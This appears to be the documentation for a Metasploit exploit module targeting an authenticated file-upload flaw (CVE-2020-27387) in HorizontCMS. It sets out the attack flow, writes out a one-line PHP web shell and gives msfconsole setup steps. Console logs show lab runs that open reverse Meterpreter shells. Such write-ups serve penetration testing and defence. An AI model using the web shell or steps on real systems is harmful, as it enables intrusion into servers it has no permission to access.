## Vulnerable Application
This module exploits an arbitrary file upload vulnerability (CVE-2020-27387) in HorizontCMS 1.0.0-beta and prior
in order to execute arbitrary commands.

The module first tries to obtain the HorizontCMS version and a csrf token from `/admin/login`.
Next, the module tries to authenticate via an HTTP POST request to the same destination.

If authentication is successful, the module tries to upload a malicious PHP file via an HTTP POST request to
`/admin/file-manager/fileupload`. The server will store the file, but will rename it to a random string.
The module will therefore attempt to change the filename back to the original name via an HTTP POST request to `/admin/file-manager/rename`.

If the `php` target is selected, the payload is embedded in the uploaded file and the module attempts to execute the payload via an HTTP GET
request to `/storage/file_name`.
For the `linux` and `windows` targets, the module uploads a simple PHP web shell similar to `<?php system($_GET["cmd"]); ?>`.
Subsequently, it leverages the CmdStager mixin to deliver the final payload via a series of HTTP GET requests in the form of
`/storage/<php_web_shell>?<cmd>=<payload>`.

Valid credentials for a HorizontCMS user with permissions to use the FileManager are required.
This would be all users in the Admin, Manager and Editor groups if HorizontCMS is configured with the default group settings.
This module has been successfully tested against HorizontCMS 1.0.0-beta running on Ubuntu 18.04.

Vulnerable software for testing is available on GitHub [here](https://github.com/ttimot24/HorizontCMS/releases).
Detailed installation instructions for Ubuntu 16.04 and 18.04 are available
[here](https://websiteforstudents.com/how-to-install-horizontcms-on-ubuntu-18-04-16-04-with-apache2/).
These instructions recommend configuring a virtual host for HorizontCMS.
If a virtual host is enabled on the target, successful exploitation requires the `vhost` option to be set for the module.

## Verification Steps
1. Install the module as usual
2. Start msfconsole
3. Do: `use exploit/multi/http/HorizontCMS_upload_exec`
4. Do: `set RHOSTS [IP]`
5. Do: `set USERNAME [username for the HorizontCMS account]`
6. Do: `set PASSWORD [password for the HorizontCMS account]`
7. Do: `set target [target]`
8. Do: `set payload [payload]`
9. Do: `set LHOST [IP]`
10. Do: `exploit`

## Options
### PASSWORD
The password for the HorizontCMS account to authenticate with.
### TARGETURI
The base path to HorizontCMS. The default value is `/`.
### USERNAME
The username for the HorizontCMS account to authenticate with.

## Targets
```
Id  Name
--  ----
0   PHP
1   Linux
2   Windows
```

## Scenarios
### HorizontCMS 1.0.0-beta running on Ubuntu 18.04) - PHP target
```
msf6 exploit(multi/http/horizontcms_upload_exec) > show options 

Module options (exploit/multi/http/horizontcms_upload_exec):

   Name       Current Setting   Required  Description
   ----       ---------------   --------  -----------
   PASSWORD   test              yes       Password to authenticate with
   Proxies                      no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     192.168.1.227     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      80                yes       The target port (TCP)
   SSL        false             no        Negotiate SSL/TLS for outgoing connections
   SSLCert                      no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                 yes       The base path to HorizontCMS
   URIPATH                      no        The URI to use for this exploit (default is random)
   USERNAME   test              yes       Username to authenticate with
   VHOST      testhorizont.com  no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.128    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   PHP


msf6 exploit(multi/http/horizontcms_upload_exec) > run

[*] Started reverse TCP handler on 192.168.1.128:4444 
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable. Target is HorizontCMS with version 1.0.0-beta
[+] Successfully authenticated to the HorizontCMS dashboard
[*] Uploading payload as EaCPK1HSbRru.php...
[+] Successfully uploaded EaCPK1HSbRru.php. The server renamed it to Mflikdb8nNKTivXU3HPZnpsCy3nOu34FH1IsWaxl
[+] Successfully renamed payload back to EaCPK1HSbRru.php
[*] Executing the payload...
[*] Sending stage (39264 bytes) to 192.168.1.227
[*] Meterpreter session 1 opened (192.168.1.128:4444 -> 192.168.1.227:49968) at 2020-10-31 15:52:57 -0400
[+] Successfully deleted EaCPK1HSbRru.php

meterpreter > getuid
Server username: www-data (33)
meterpreter >
```
### HorizontCMS 1.0.0-beta running on Ubuntu 18.04 - Linux target
```
msf6 exploit(multi/http/horizontcms_upload_exec) > run

[*] Started reverse TCP handler on 192.168.1.128:4444 
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable. Target is HorizontCMS with version 1.0.0-beta
[+] Successfully authenticated to the HorizontCMS dashboard
[*] Uploading payload as W6nQKce4Uq.php...
[+] Successfully uploaded W6nQKce4Uq.php. The server renamed it to L6TL9BHTAckj6UrzfSyOBvAT3Bl2uFskRHrG3pXG
[+] Successfully renamed payload back to W6nQKce4Uq.php
[*] Executing the payload via a series of HTTP GET requests to `/storage/W6nQKce4Uq.php?qo1E=<command>`
[*] Sending stage (3008420 bytes) to 192.168.1.227
[*] Command Stager progress - 100.00% done (897/897 bytes)
[*] Meterpreter session 2 opened (192.168.1.128:4444 -> 192.168.1.227:49978) at 2020-10-31 15:56:58 -0400
[+] Successfully deleted W6nQKce4Uq.php

meterpreter > getuid
Server username: www-data @ ubuntu (uid=33, gid=33, euid=33, egid=33)
meterpreter > 
```
